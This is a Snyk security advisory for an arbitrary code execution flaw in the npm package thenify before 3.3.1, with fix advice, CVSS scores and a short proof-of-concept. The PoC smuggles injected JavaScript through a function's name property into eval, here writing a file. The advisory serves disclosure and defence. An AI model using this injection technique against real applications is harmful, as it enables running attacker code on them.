Arbitrary Code Execution Affecting thenify package, versions <3.3.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.4% (75th percentile)

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  • Snyk ID SNYK-JS-THENIFY-571690
  • published 15 Jun 2020
  • disclosed 15 Jun 2020
  • credit JHU System Security Lab

How to fix?

Upgrade thenify to version 3.3.1 or higher.

Overview

thenify is a Promisify a callback-based function using any-promise.

Affected versions of this package are vulnerable to Arbitrary Code Execution. The name argument provided to the package can be controlled by users without any sanitization, and this is provided to the eval function without any sanitization.

PoC

var a = require("thenify");
var attack_code = "fs=require('fs');fs.writeFile('Song', 'test',function(){})";
function cur(){};
Object.defineProperty(cur, "name", { value: "fake() {" + attack_code + ";})();(function(){//"});
a(cur);

CVSS Scores

version 3.1
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Snyk

Recommended
8.6 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    Low
  • Availability (A)
    Low
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NVD

9.8 critical